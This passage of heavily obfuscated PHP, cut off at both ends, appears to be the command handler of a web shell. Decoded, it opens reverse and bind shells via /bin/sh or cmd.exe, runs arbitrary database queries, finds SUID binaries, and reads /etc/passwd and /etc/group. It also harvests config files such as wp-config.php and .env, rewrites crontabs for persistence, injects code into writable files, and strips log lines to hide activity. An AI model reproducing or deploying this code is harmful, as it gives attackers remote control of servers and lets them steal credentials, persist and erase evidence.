"\x66\151\x6e\x64\x5f\163\165\x69\x64\x5f\147\165\151\x64": goto xEknf; xEknf: $azofS = "\x66\x69\x6e\144\x20\57\40\x2d\x74\171\x70\145\40\146\x20\x5c\x28\x20\55\160\145\x72\155\x20\x2d\x34\x30\60\60\x20\55\x6f\x20\x2d\x70\x65\162\155\x20\x2d\62\60\60\x30\x20\134\x29\40\x2d\154\163\40\62\76\57\144\x65\166\57\156\x75\154\154"; goto K5dQ5; K5dQ5: $BKvy0 = ZmRp5($azofS); goto hY1Zz; hY1Zz: $v1Pog = ["\x73\164\141\164\165\x73" => "\163\165\x63\x63\145\163\x73", "\x64\141\164\x61" => htmlspecialchars($BKvy0 ?: "\116\x6f\40\123\125\111\x44\x2f\107\x55\111\x44\40\146\151\154\145\163\x20\146\157\x75\156\144\x20\x6f\x72\40\x27\x66\x69\x6e\144\47\x20\x63\157\155\x6d\141\156\144\x20\146\141\151\154\x65\144\x2e")]; goto XUkEX; XUkEX: goto vbH70; goto IWkTP; IWkTP: case "\144\x61\x74\x61\142\x61\163\x65\137\161\165\x65\162\x79": goto LSoCs; Dmph7: goto vbH70; goto Xr9IS; iUw4O: $v1Pog["\155\145\163\x73\x61\x67\145"] = "\x51\x75\x65\x72\x79\x20\x45\x72\x72\157\x72\72\40" . Jvz13($JHnly); goto XhJYh; pYgGX: iZGp2($olRGv); goto Q8pD4; kid7v: goto H_vyl; goto TJq99; REQsL: jgCbQ: goto iasTX; qXtLI: $v1Pog = ["\163\x74\141\x74\x75\163" => "\x73\x75\x63\143\145\163\163", "\x6d\145\163\163\x61\x67\x65" => "\x51\165\145\x72\x79\x20\x65\170\x65\x63\x75\164\145\144\40\163\x75\143\143\145\163\x73\146\165\x6c\154\x79\56", "\x61\146\x66\x65\143\x74\145\x64\x5f\x72\x6f\167\x73" => IV3th($JHnly)]; goto MUVZy; u49y4: goto bozE0; goto bZm42; rkgNk: $l7bdt = $_POST["\144\142\137\x68\157\x73\x74"]; goto GdjHm; LSoCs: if (!function_exists("\147\70\x41\165\x41")) { $v1Pog["\155\145\x73\x73\141\x67\145"] = "\115\171\x53\x51\x4c\x69\x20\x65\170\x74\x65\x6e\163\x69\157\156\40\x69\x73\x20\x6e\x6f\x74\x20\145\x6e\141\142\x6c\145\x64\x2e"; goto vbH70; } goto rkgNk; iSmzL: KEz1j: goto qXtLI; Q8pD4: $v1Pog = ["\163\164\141\x74\x75\x73" => "\x73\x75\143\143\145\x73\x73", "\x68\145\141\144\x65\162\163" => $JTRCd, "\162\157\167\x73" => $uYZS9]; goto u49y4; HcFXZ: goto VAUs6; goto REQsL; XhJYh: goto bozE0; goto iSmzL; Xr9IS: NbTYH: goto aJy0B; aJy0B: $olRGv = @wL23z($JHnly, $DEYfc); goto poV5u; mgWEu: if (!($f1fXE = ZhXly($olRGv))) { goto jgCbQ; } goto NDIZh; d1hBC: if (!($nzVFs = bb5T9($olRGv))) { goto XBF8x; } goto t_x8w; YIEL4: if ($olRGv === true) { goto KEz1j; } goto MRBXM; O79e8: $vkU4A = $_POST["\x64\142\x5f\x6e\x61\155\145"]; goto oBxKF; S1WsH: $CHFh3 = $_POST["\144\x62\137\160\x61\x73\x73"]; goto O79e8; AycyS: $v1Pog["\155\x65\x73\163\x61\x67\145"] = "\103\157\156\x6e\145\x63\x74\x69\x6f\x6e\x20\106\x61\151\154\x65\144\72\x20" . gX6LT(); goto Dmph7; oBxKF: $DEYfc = $_POST["\144\142\x5f\x71\x75\x65\162\171"]; goto RXb9e; Xi3JQ: if ($JHnly) { goto NbTYH; } goto AycyS; bZm42: V_isc: goto iUw4O; MRBXM: $JTRCd = []; goto gkyT_; poV5u: if ($olRGv === false) { goto V_isc; } goto YIEL4; t_x8w: $uYZS9[] = array_map("\150\x74\x6d\x6c\163\x70\145\143\x69\x61\x6c\143\150\x61\x72\163", $nzVFs); goto kid7v; GdjHm: $Ki5dg = $_POST["\144\142\x5f\x75\x73\x65\x72"]; goto S1WsH; MUVZy: bozE0: goto Jm83s; Jm83s: u8f22($JHnly); goto QzlE7; iasTX: H_vyl: goto d1hBC; LwvFD: VAUs6: goto mgWEu; NDIZh: $JTRCd[] = $f1fXE->name; goto HcFXZ; RXb9e: $JHnly = @g8Aua($l7bdt, $Ki5dg, $CHFh3, $vkU4A); goto Xi3JQ; gkyT_: $uYZS9 = []; goto LwvFD; QzlE7: goto vbH70; goto wxcer; TJq99: XBF8x: goto pYgGX; wxcer: case "\162\x65\166\145\x72\x73\x65\x5f\163\150\x65\154\154": goto sr9DI; a4wZr: IWRK3: goto Jebd5; MZsYb: goto Lvnrr; goto vWrEN; sr9DI: $b_GfI = $_POST["\x69\x70"]; goto pGs3o; LTnV2: foreach ($lqQ8o as $y4NPo) { fclose($y4NPo); pGerQ: } goto NxPfA; v5qod: fclose($ZmdPV); goto LTnV2; Aw75f: $XKSBr = proc_open($EUiC4, $YaXSQ, $lqQ8o); goto sktv7; yrMJH: Q69Am: goto apfXK; AbkMn: goto iP0AC; goto tG9xb; BEnbY: fwrite($lqQ8o[0], $HgQYB); goto a4wZr; b2ds0: $KAfIg = false; goto JkbOi; vWrEN: GXxVZ: goto qzwid; aGx32: $XmHoU = null; goto IgljN; j3a4t: $v1Pog = ["\163\x74\141\164\165\x73" => "\x73\x75\x63\x63\145\x73\x73", "\x6d\x65\x73\x73\141\x67\145" => "\x52\145\x76\x65\162\x73\145\40\x73\x68\x65\x6c\x6c\40\x63\157\x6e\156\145\x63\164\x69\157\156\40\x65\163\x74\141\x62\154\151\x73\x68\x65\144\x20\50\x63\150\145\x63\x6b\x20\171\x6f\x75\x72\40\x6c\x69\163\x74\145\x6e\x65\162\x29\x2e"]; goto MZsYb; q7O25: rpiUU: goto M8QEr; Nd0ux: Lvnrr: goto SWXHj; zvpOj: e5owZ: goto MQPe5; loTt8: $HgQYB = fread($ZmdPV, 1024); goto BEnbY; ENAtw: $EUiC4 = "\57\142\151\x6e\57\x73\150"; goto z5ur2; NxPfA: dvJC8: goto EVTVI; EVTVI: proc_close($XKSBr); goto nuELQ; qzwid: $v1Pog = ["\x73\x74\141\164\165\x73" => "\x65\162\x72\157\x72", "\x6d\x65\163\x73\141\147\145" => $BKvy0]; goto Nd0ux; MQPe5: $BKvy0 = "\x41\164\x74\x65\155\x70\164\151\x6e\x67\x20\164\157\40\143\x6f\156\x6e\145\143\164\x20\x74\157\x20{$b_GfI}\72{$TI0F5}\56\x2e\56\12"; goto b2ds0; nuELQ: $KAfIg = true; goto wZv1q; pGs3o: $TI0F5 = $_POST["\160\x6f\162\164"]; goto ENAtw; Jebd5: if (!in_array($lqQ8o[1], $C2yoo)) { goto n5VtH; } goto VbPzQ; gBMHj: stream_set_blocking($lqQ8o[2], 0); goto klcSe; UwEjD: stream_set_blocking($lqQ8o[1], 0); goto gBMHj; FFB4S: $BKvy0 .= "\x70\x72\x6f\143\x5f\x6f\x70\145\156\40\x66\141\151\154\145\x64\x2e\xa"; goto iksbx; Sf8E_: $ZmdPV = @fsockopen($b_GfI, $TI0F5); goto XSD2v; gV2q3: lQ8Oo: goto nOGZD; sktv7: if (is_resource($XKSBr)) { goto kIfSt; } goto FFB4S; gTDLI: $EUiC4 = "\x63\x6d\144\56\x65\x78\x65"; goto zvpOj; bKhu9: $XfRvW = null; goto aGx32; M8QEr: if (!1) { goto iP0AC; } goto PqEVh; ytDdY: goto rpiUU; goto xRWXs; nOGZD: wwt4D: goto ytDdY; vBNWi: goto XBlWD; goto yrMJH; wZv1q: MRje3: goto MBpVD; SWXHj: goto vbH70; goto juec3; Ios8m: $YaXSQ = [0 => ["\160\x69\160\145", "\x72"], 1 => ["\x70\151\x70\x65", "\x77"], 2 => ["\160\151\x70\x65", "\x77"]]; goto Sf8E_; D4xsV: bsf4d: goto RCzw7; z5ur2: if (!stristr(PHP_OS, "\x57\111\x4e")) { goto e5owZ; } goto gTDLI; xRWXs: iP0AC: goto v5qod; klcSe: stream_set_blocking($ZmdPV, 0); goto q7O25; tH4sE: $BKvy0 .= "\122\145\161\x75\x69\x72\x65\144\x20\146\x75\156\x63\164\x69\157\x6e\163\40\50\x70\x72\157\x63\x5f\157\160\145\x6e\54\x20\x66\x73\x6f\x63\153\157\160\145\156\x29\40\141\x72\145\40\144\151\163\141\142\154\145\x64\x2e\xa"; goto FKKGV; FKKGV: goto bsf4d; goto f7KtG; NwH2e: fwrite($ZmdPV, fread($lqQ8o[2], 1024)); goto gV2q3; itxlB: if (!in_array($lqQ8o[2], $C2yoo)) { goto lQ8Oo; } goto NwH2e; NYsk_: n5VtH: goto itxlB; JkbOi: if (lIx3f("\160\x72\157\x63\137\157\160\x65\156") && Lix3f("\x66\x73\x6f\143\153\157\x70\x65\156")) { goto uCGZu; } goto tH4sE; IVtV4: stream_set_blocking($lqQ8o[0], 0); goto UwEjD; a3vUC: kIfSt: goto IVtV4; IgljN: if (!(stream_select($C2yoo, $XfRvW, $XmHoU, null) > 0)) { goto wwt4D; } goto vdwXc; apfXK: $lqQ8o = []; goto Aw75f; XSD2v: if ($ZmdPV) { goto Q69Am; } goto WfhsW; f7KtG: uCGZu: goto Ios8m; vdwXc: if (!in_array($ZmdPV, $C2yoo)) { goto IWRK3; } goto loTt8; bDDQM: $C2yoo = [$ZmdPV, $lqQ8o[1], $lqQ8o[2]]; goto bKhu9; PqEVh: if (!(feof($ZmdPV) || feof($lqQ8o[1]))) { goto fh4ol; } goto AbkMn; WfhsW: $BKvy0 .= "\x66\x73\x6f\143\153\x6f\x70\145\156\40\x66\x61\151\x6c\x65\144\40\164\x6f\x20\x63\x6f\x6e\x6e\145\143\x74\56\xa"; goto vBNWi; MBpVD: XBlWD: goto D4xsV; iksbx: goto MRje3; goto a3vUC; VbPzQ: fwrite($ZmdPV, fread($lqQ8o[1], 1024)); goto NYsk_; RCzw7: if (!$KAfIg) { goto GXxVZ; } goto j3a4t; tG9xb: fh4ol: goto bDDQM; juec3: case "\x62\151\156\x64\137\163\x68\x65\154\154": goto JZ5hV; rd0j5: $YotvE = socket_accept($ZmdPV); goto C1Qjk; Vkl9q: $ZmdPV = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); goto dHwxF; YG2iQ: $v1Pog = ["\x73\164\141\x74\165\163" => "\163\x75\x63\x63\145\x73\x73", "\x6d\145\x73\x73\141\x67\145" => "\102\151\156\x64\40\x73\x68\145\154\x6c\x20\157\156\40\160\157\162\x74\40{$TI0F5}\40\x66\151\156\x69\163\x68\145\144\x2e"]; goto iC_UM; zCD23: proc_close($XKSBr); goto Tk80o; z4TNf: $v1Pog["\155\145\163\x73\141\147\x65"] = "\x43\x6f\x75\154\x64\x20\x6e\157\164\x20\x62\151\x6e\x64\x20\x74\x6f\40\160\157\x72\x74\x20{$TI0F5}\56\x20\x52\145\x61\163\x6f\x6e\72\40{$LntjT}"; goto GS1Fd; Tk80o: eOxGw: goto qgTXs; fXa0K: YgaJ6: goto Vkl9q; NH4oV: if (!is_resource($XKSBr)) { goto eOxGw; } goto zCD23; aPsD5: $v1Pog["\x6d\145\163\163\141\x67\145"] = "\x52\145\x71\x75\151\162\145\x64\40\x66\165\x6e\143\x74\151\x6f\156\163\x20\50\x73\157\x63\153\145\x74\137\143\x72\145\x61\164\145\x2c\x20\160\162\157\x63\137\157\x70\145\x6e\x29\x20\x61\162\x65\40\x64\151\163\x61\142\x6c\145\144\56"; goto I1kpl; dHwxF: if (!(!$ZmdPV || !@socket_bind($ZmdPV, "\60\x2e\60\56\x30\x2e\x30", $TI0F5) || !@socket_listen($ZmdPV))) { goto dQZg0; } goto s7C2J; iL3pQ: $EUiC4 = "\x2f\x62\x69\156\57\163\150"; goto ll26m; iC_UM: goto vbH70; goto Yr3wI; IdYJC: $XKSBr = proc_open($EUiC4, $YaXSQ, $lqQ8o); goto NH4oV; G72qo: cSOqm: goto JpfxS; ISyHH: $EUiC4 = "\x63\155\x64\56\x65\170\x65"; goto G72qo; jWLzn: dQZg0: goto rd0j5; ll26m: if (!stristr(PHP_OS, "\127\x49\x4e")) { goto cSOqm; } goto ISyHH; GS1Fd: goto vbH70; goto jWLzn; uEFUE: $YaXSQ = [0 => $YotvE, 1 => $YotvE, 2 => $YotvE]; goto IdYJC; C1Qjk: if (!$YotvE) { goto Ha6Ue; } goto uEFUE; s7C2J: $LntjT = socket_strerror(socket_last_error()); goto woYII; I1kpl: goto vbH70; goto fXa0K; woYII: @socket_close($ZmdPV); goto z4TNf; qgTXs: Ha6Ue: goto wYTKV; wYTKV: @socket_close($YotvE); goto sd_77; sd_77: @socket_close($ZmdPV); goto YG2iQ; JZ5hV: $TI0F5 = (int) $_POST["\160\x6f\162\x74"]; goto iL3pQ; JpfxS: if (!(!liX3F("\x73\157\x63\153\x65\x74\137\143\x72\x65\141\x74\145") || !LIx3F("\x70\x72\x6f\143\137\157\160\x65\x6e"))) { goto YgaJ6; } goto aPsD5; Yr3wI: case "\x73\x65\141\162\x63\150\x5f\x66\151\154\x65\x73": goto V7lcE; YrYPr: $v1Pog["\155\x65\163\x73\x61\x67\145"] = "\120\x61\x74\150\x20\141\156\144\x20\160\141\x74\164\145\162\156\40\x61\162\x65\40\x72\145\161\165\x69\x72\145\x64\56"; goto V_JWj; gxHmT: goto vbH70; goto VqZCy; MkNG0: $BKvy0 = zMrp5($azofS); goto Rny67; V7lcE: $j3_hR = realpath($_POST["\x70\x61\x74\x68"]); goto x6IOf; Rny67: $v1Pog = ["\163\164\141\164\165\x73" => "\163\x75\143\143\x65\x73\163", "\144\141\x74\x61" => htmlspecialchars($BKvy0 ?: "\116\157\x20\146\151\x6c\145\x73\x20\146\157\x75\156\144\40\155\x61\164\143\150\151\x6e\x67\x20\164\150\145\40\x70\141\164\x74\145\x72\x6e\x2e")]; goto gxHmT; UU102: if (!(!$j3_hR || !$G6Mdr)) { goto fmdjb; } goto YrYPr; V_JWj: goto vbH70; goto pLXJj; pLXJj: fmdjb: goto CVdP7; x6IOf: $G6Mdr = $_POST["\160\141\x74\164\x65\162\x6e"]; goto UU102; CVdP7: $azofS = "\146\x69\156\144\40" . escapeshellarg($j3_hR) . "\x20\55\164\x79\x70\x65\40\x66\40\x2d\x6e\141\x6d\145\x20" . escapeshellarg($G6Mdr) . "\40\x32\x3e\57\144\x65\166\57\x6e\165\x6c\x6c"; goto MkNG0; VqZCy: case "\x67\x65\164\x5f\143\162\x6f\x6e": goto Q6dBP; R1FQ3: goto eQdQa; goto GpKt7; zNcXP: if (strpos((string) $Lrz4Z, "\156\157\40\x63\x72\x6f\x6e\x74\141\142\40\x66\157\x72") !== false || empty($Lrz4Z)) { goto Byi6q; } goto fmUu_; GpKt7: Byi6q: goto HKwpg; JjUH7: $cL6DY = "\57\166\x61\x72\x2f\x73\x70\x6f\157\x6c\x2f\143\162\157\156\x2f\x63\x72\157\x6e\164\141\x62\163\x2f{$qhLRz}"; goto VkjB_; fmUu_: $v1Pog = ["\163\164\x61\164\x75\x73" => "\163\x75\143\143\x65\163\163", "\x63\x6f\156\164\x65\156\164" => $Lrz4Z, "\x77\162\x69\164\x61\142\154\145" => true]; goto R1FQ3; N7DFl: eQdQa: goto O7K1N; jlYYI: $v1Pog = ["\x73\164\x61\164\x75\163" => "\x73\x75\143\143\145\x73\x73", "\x63\157\x6e\x74\145\156\164" => file_get_contents($cL6DY), "\167\162\x69\164\141\142\154\x65" => is_writable($cL6DY)]; goto hu7pc; vd09_: Q088d: goto d5obT; VkjB_: if (!is_readable($cL6DY)) { goto Q088d; } goto jlYYI; HKwpg: $v1Pog = ["\x73\x74\x61\x74\165\163" => "\x73\x75\x63\x63\145\163\x73", "\x63\157\156\164\145\x6e\164" => '', "\167\x72\x69\164\141\x62\154\x65" => true]; goto N7DFl; O7K1N: tTIL0: goto wNvAf; wNvAf: goto vbH70; goto qZH3j; hu7pc: goto tTIL0; goto vd09_; Q6dBP: $qhLRz = get_current_user(); goto JjUH7; d5obT: $Lrz4Z = zMrp5("\x63\162\x6f\156\164\x61\x62\x20\x2d\x6c\40\62\76\57\x64\x65\x76\57\x6e\165\x6c\154"); goto zNcXP; qZH3j: case "\x73\141\166\145\x5f\143\162\157\x6e": goto FzU2v; FzU2v: $Lrz4Z = $_POST["\x63\x6f\x6e\164\x65\x6e\164"]; goto v0Nkw; jqTTN: YqYd3: goto k0qPt; abNiE: ZmRP5("\x63\x72\x6f\156\164\141\142\40" . escapeshellarg($s1avK)); goto O9jV1; z5AC1: $v1Pog = ["\x73\x74\141\164\165\x73" => "\x73\165\143\x63\x65\163\x73", "\155\x65\163\163\x61\147\x65" => "\103\x72\157\156\164\141\142\40\x73\x61\x76\145\x64\40\163\165\143\143\145\163\163\x66\165\x6c\x6c\171\56"]; goto jqTTN; k0qPt: goto vbH70; goto J6qrS; LfC9c: YflPZ: goto abNiE; O9jV1: unlink($s1avK); goto z5AC1; p_uCp: $v1Pog["\155\x65\x73\163\141\x67\x65"] = "\106\141\151\x6c\145\144\x20\x74\x6f\40\167\x72\x69\x74\145\40\164\145\155\x70\157\x72\141\162\x79\40\143\162\157\x6e\x20\x66\151\x6c\145\56"; goto Bxa_e; tR0Az: if (file_put_contents($s1avK, $Lrz4Z) !== false) { goto YflPZ; } goto p_uCp; v0Nkw: $s1avK = tempnam(sys_get_temp_dir(), "\143\x72\157\x6e\137"); goto tR0Az; Bxa_e: goto YqYd3; goto LfC9c; J6qrS: case "\x67\145\x74\x5f\165\163\x65\x72\163\x5f\147\x72\157\165\160\163": goto crI3O; bAz1r: goto vbH70; goto Ui60u; DNt5A: GYwpd: goto SgXxO; zcO1P: CWraQ: goto nmGXJ; eYfut: $PX7xw = []; goto VruKd; SgXxO: if (!is_readable("\57\145\x74\x63\x2f\147\162\x6f\165\x70")) { goto CWraQ; } goto BwKGW; VruKd: if (!is_readable("\57\145\x74\x63\57\160\141\163\163\167\x64")) { goto GYwpd; } goto VJSK0; BwKGW: $IdX4r = file("\x2f\x65\x74\x63\57\147\162\157\x75\x70"); goto FNTjX; afo_F: foreach ($IdX4r as $oTjJ5) { goto BjlNg; H7AdO: tkd11: goto TY7Fn; uSMat: $X1b22[] = ["\156\x61\155\x65" => $CTBeO[0], "\165\x69\x64" => $CTBeO[2], "\x67\151\144" => $CTBeO[3], "\150\157\155\145" => $CTBeO[5], "\163\150\x65\x6c\x6c" => $CTBeO[6]]; goto M_s64; M_s64: uQcUc: goto H7AdO; BjlNg: $CTBeO = explode("\x3a", trim($oTjJ5)); goto iwemn; iwemn: if (!(count($CTBeO) >= 7)) { goto uQcUc; } goto uSMat; TY7Fn: } goto Phsxa; nmGXJ: $v1Pog = ["\163\x74\141\164\165\163" => "\x73\165\x63\x63\145\163\x73", "\165\163\x65\x72\x73" => $X1b22, "\147\x72\157\x75\x70\x73" => $PX7xw]; goto bAz1r; FNTjX: foreach ($IdX4r as $oTjJ5) { goto Pa1P3; WlxTh: eJNBD: goto CHRIA; LAa_W: if (!(count($CTBeO) >= 4)) { goto eJNBD; } goto VxkTA; VxkTA: $PX7xw[] = ["\x6e\x61\x6d\145" => $CTBeO[0], "\147\151\144" => $CTBeO[2], "\155\145\155\142\145\162\163" => $CTBeO[3]]; goto WlxTh; Pa1P3: $CTBeO = explode("\72", trim($oTjJ5)); goto LAa_W; CHRIA: zA7s4: goto xyROF; xyROF: } goto uPJa0; VJSK0: $IdX4r = file("\57\145\164\x63\57\x70\141\163\x73\x77\x64"); goto afo_F; uPJa0: Y7fo6: goto zcO1P; Phsxa: P2Bps: goto DNt5A; crI3O: $X1b22 = []; goto eYfut; Ui60u: case "\x67\x65\164\137\x6b\145\x72\156\x65\154\x5f\151\x6e\x66\x6f": goto LksYz; sYQFd: v10tK: goto oGi70; LksYz: $cIQrf = @file_get_contents("\57\145\164\143\x2f\x6f\163\x2d\162\x65\x6c\x65\141\x73\x65"); goto UWkGP; oGi70: $yowVz = php_uname("\162"); goto u1Y40; UnxoL: if (!($cIQrf && preg_match("\x2f\x50\x52\105\124\x54\x59\x5f\x4e\x41\x4d\x45\x3d\42\50\133\136\42\135\53\51\x22\x2f", $cIQrf, $I5WkF))) { goto v10tK; } goto KBTVd; KBTVd: $kTsJj = $I5WkF[1]; goto sYQFd; ZGvKe: goto vbH70; goto Yc7SB; u1Y40: $v1Pog = ["\x73\x74\141\164\165\163" => "\x73\x75\x63\x63\x65\x73\x73", "\144\x69\163\164\x72\x6f" => $kTsJj, "\153\x65\162\156\145\154" => $yowVz, "\165\156\x61\155\x65" => php_uname("\x61")]; goto ZGvKe; UWkGP: $kTsJj = "\116\x2f\x41"; goto UnxoL; Yc7SB: case "\x73\x65\141\x72\143\x68\137\x63\x6f\x6e\164\145\x6e\x74": goto FqsGR; KWTWh: $BKvy0 = zmrp5($azofS); goto gpeVd; t8BFP: Z2Mr2: goto lKe3d; XKLjb: $v1Pog["\x6d\145\163\x73\x61\x67\x65"] = "\120\141\164\150\x20\x61\x6e\x64\40\103\157\x6e\164\145\156\x74\40\x50\x61\164\x74\145\x72\x6e\x20\x61\162\145\40\162\145\x71\x75\151\162\x65\144\x2e"; goto pJ793; lKe3d: $azofS = "\147\x72\x65\x70\x20\x2d\x72\40\55\154\40" . (!empty($Q8IEc) ? "\x2d\55\x69\156\143\154\x75\144\x65\x3d" . escapeshellarg($Q8IEc) . "\x20" : '') . escapeshellarg($yJHiS) . "\x20" . escapeshellarg($j3_hR) . "\40\62\76\57\x64\145\x76\x2f\x6e\165\154\x6c"; goto KWTWh; eG_fx: $yJHiS = $_POST["\x63\x6f\x6e\x74\145\x6e\x74\x5f\x70\141\164\x74\x65\162\x6e"]; goto ircGw; ircGw: $Q8IEc = $_POST["\x66\151\154\x65\x5f\x70\141\x74\x74\x65\x72\156"]; goto Icd70; gpeVd: $v1Pog = ["\x73\x74\x61\164\165\163" => "\x73\165\143\x63\x65\163\x73", "\144\x61\x74\141" => htmlspecialchars($BKvy0 ?: "\116\x6f\40\x6d\x61\164\143\150\x65\163\x20\146\x6f\x75\156\x64\x20\x6f\x72\40\147\x72\x65\160\40\x69\x73\x20\x6e\x6f\164\x20\141\x76\141\151\154\141\142\x6c\145\56")]; goto nZLIB; pJ793: goto vbH70; goto t8BFP; FqsGR: $j3_hR = realpath($_POST["\x70\141\164\150"]); goto eG_fx; Icd70: if (!(!$j3_hR || !$yJHiS)) { goto Z2Mr2; } goto XKLjb; nZLIB: goto vbH70; goto mbW6B; mbW6B: case "\147\145\164\x5f\x63\x6f\x6e\x66\151\147\x73": goto ffNgo; i8zyu: goto vbH70; goto CNry6; ryaWV: Tamqw: goto FA2h8; jXiPg: $Tlf91 = []; goto a09mu; FA2h8: $v1Pog = ["\163\x74\x61\164\165\163" => "\163\x75\143\143\145\x73\163", "\143\x6f\x6e\146\x69\x67\x73" => $Tlf91]; goto i8zyu; kq6_F: $xf6uV = array_unique([realpath(getcwd()), realpath(getcwd() . "\57\x2e\x2e"), realpath(getcwd() . "\57\x2e\56\x2f\x2e\56"), realpath($_SERVER["\104\117\x43\x55\115\105\x4e\124\x5f\x52\117\117\x54"])]); goto jXiPg; a09mu: foreach ($xf6uV as $j3_hR) { goto UZl7J; LaB_I: foreach ($yPpFX as $Q0s1i) { goto WOjjF; YfVQE: V2pId: goto ds5WN; jGhUG: $KLrez = $Q0s1i->getRealPath(); goto DsBtY; bIb4v: OjHcv: goto YfVQE; WOjjF: if (!(in_array($Q0s1i->getFilename(), $oVVLx) && $Q0s1i->isReadable())) { goto OjHcv; } goto jGhUG; DsBtY: $Tlf91[$KLrez] = htmlspecialchars(file_get_contents($KLrez)); goto bIb4v; ds5WN: } goto AuQiv; WXr_R: gVfN5: goto cMvzm; AuQiv: l1IgW: goto WXr_R; UZl7J: if (!(!$j3_hR || !is_dir($j3_hR))) { goto Td1ne; } goto wvwM7; wvwM7: goto gVfN5; goto dEOis; U6fly: $yPpFX->setMaxDepth(4); goto LaB_I; dEOis: Td1ne: goto Mu3aG; Mu3aG: $yPpFX = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($j3_hR, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); goto U6fly; cMvzm: } goto ryaWV; ffNgo: $oVVLx = ["\x77\160\x2d\x63\x6f\156\x66\x69\147\x2e\x70\150\160", "\x63\x6f\x6e\x66\x69\147\165\162\141\164\151\157\x6e\56\160\x68\x70", "\x2e\x65\156\x76", "\143\157\156\146\x69\x67\56\151\156\143\56\x70\150\160", "\163\x65\x74\164\x69\x6e\x67\163\x2e\160\150\x70", "\154\157\x63\x61\154\x2e\x78\x6d\154", "\x64\x61\164\141\142\x61\x73\145\56\x79\155\154", "\143\157\156\146\x69\x67\x2e\x70\150\160"]; goto kq6_F; CNry6: case "\x69\156\152\145\x63\x74\137\x63\157\144\145": goto hvdzv; xxoch: $RFZ8l = $_POST["\x63\157\144\145"]; goto uQauA; Mz0Ib: Hyzca: goto SHgCz; CnrdZ: $MQrUS = $ZSJX5 . PHP_EOL . $RFZ8l; goto O1SwH; eZRh3: Qxb56: goto KMwhg; E3FBt: if (is_file($j3_hR) && is_writable($j3_hR)) { goto Qxb56; } goto fZGrD; yXFPY: lPruW: goto wGe2V; fZGrD: $v1Pog["\x6d\x65\x73\163\141\147\145"] = "\x46\151\154\145\40\x6e\x6f\x74\x20\x66\157\x75\156\144\x20\157\162\40\x6e\x6f\164\40\x77\162\151\x74\x61\142\x6c\x65\x2e"; goto UQ2YN; LiXhT: $v1Pog["\155\145\163\x73\141\x67\145"] = "\x46\x69\154\145\40\x70\141\164\x68\x20\x61\x6e\x64\x20\143\157\x64\145\40\x61\x72\x65\40\162\145\161\165\x69\x72\145\x64\x2e"; goto MYDwK; O1SwH: goto onhXc; goto sBI55; Etred: onhXc: goto ktZje; tTVm9: if (!(empty($j3_hR) || empty($RFZ8l))) { goto KHjsC; } goto LiXhT; StpbI: if ($JQu7s === "\160\x72\145\x70\145\156\x64") { goto Xw7dY; } goto CnrdZ; CxqTM: goto HEzW2; goto Mz0Ib; sBI55: Xw7dY: goto hJ3_r; MYDwK: goto vbH70; goto Y9CvT; SVQ0J: HEzW2: goto yXFPY; uQauA: $JQu7s = $_POST["\x70\157\x73\x69\164\x69\x6f\x6e"]; goto tTVm9; UQ2YN: goto lPruW; goto eZRh3; ktZje: if (file_put_contents($j3_hR, $MQrUS) !== false) { goto Hyzca; } goto GwMeo; SHgCz: $v1Pog = ["\x73\164\x61\x74\165\163" => "\163\165\143\x63\x65\x73\163", "\x6d\x65\x73\163\141\147\145" => "\103\157\x64\x65\40\151\x6e\152\x65\143\164\145\144\40\163\x75\143\143\145\x73\163\x66\x75\x6c\154\x79\x20\151\x6e\164\x6f\x20" . basename($j3_hR)]; goto SVQ0J; wGe2V: goto vbH70; goto g9nw4; KMwhg: $ZSJX5 = file_get_contents($j3_hR); goto StpbI; GwMeo: $v1Pog["\x6d\145\x73\163\x61\147\145"] = "\x46\141\151\x6c\x65\x64\x20\x74\x6f\40\167\162\151\164\x65\x20\164\157\x20\x66\x69\154\x65\x2e"; goto CxqTM; hvdzv: $j3_hR = $_POST["\160\x61\164\150"]; goto xxoch; Y9CvT: KHjsC: goto E3FBt; hJ3_r: $MQrUS = $RFZ8l . PHP_EOL . $ZSJX5; goto Etred; g9nw4: case "\x6c\157\x67\x5f\143\154\145\141\x6e\x65\x72": goto Z_pAp; jC6dw: $v1Pog["\155\x65\x73\163\x61\x67\145"] = "\114\157\147\40\146\x69\154\x65\x20\141\x6e\144\x20\153\x65\171\x77\x6f\162\x64\40\141\x72\x65\40\162\x65\x71\165\151\162\145\144\x2e"; goto otfIS; Wa29Y: if (is_file($YWAsy) && is_readable($YWAsy)) { goto LECM7; } goto G8rGM; ARxDc: goto vbH70; goto axu2H; tdgnP: $c7Q3k = $_POST["\x6b\145\171\x77\x6f\162\x64"]; goto klOMK; otfIS: goto vbH70; goto cAER2; ylwdH: goto zrL5u; goto pVrni; Sfhut: $ZPr86 = array_filter($IdX4r, function ($oTjJ5) use($c7Q3k) { return strpos($oTjJ5, $c7Q3k) === false; }); goto gEIsR; cAER2: UDBxD: goto Wa29Y; AWAbr: $P2irp = count($IdX4r); goto Sfhut; F74Oa: $IdX4r = file($YWAsy, FILE_IGNORE_NEW_LINES); goto AWAbr; FSadU: zrL5u: goto ARxDc; CRJ9I: $v1Pog["\x6d\145\163\x73\141\147\145"] = "\114\x6f\147\40\x66\151\154\x65\40\151\x73\40\x6e\x6f\164\x20\167\x72\x69\164\141\x62\x6c\x65\56"; goto GyMgQ; klOMK: if (!(empty($YWAsy) || empty($c7Q3k))) { goto UDBxD; } goto jC6dw; Z_pAp: $YWAsy = $_POST["\154\157\x67\137\x66\x69\x6c\x65"]; goto tdgnP; zf1Gd: h5K20: goto F74Oa; DjXNs: file_put_contents($YWAsy, implode(PHP_EOL, $ZPr86) . PHP_EOL); goto sf01j; pVrni: LECM7: goto qZlkd; qZlkd: if (is_writable($YWAsy)) { goto h5K20; } goto CRJ9I; gEIsR: $dZfB7 = $P2irp - count($ZPr86); goto DjXNs; GyMgQ: goto vbH70; goto zf1Gd; sf01j: $v1Pog = ["\x73\x74\x61\x74\165\x73" => "\x73\x75\x63\143\145\x73\x73", "\x6d\x65\163\x73\141\147\145" => "\x52\145\x6d\157\166\145\144\x20{$dZfB7}\40\x6c\x69\x6e\145\163\40\x63\157\156\164\x61\151\156\x69\x6e\x67\x20\47{$c7Q3k}\47\40\146\x72\x6f\155\x20" . basename($YWAsy)]; goto FSadU; G8rGM: $v1Pog["\x6d\x65\x73\163\x61\x67\x65"] = 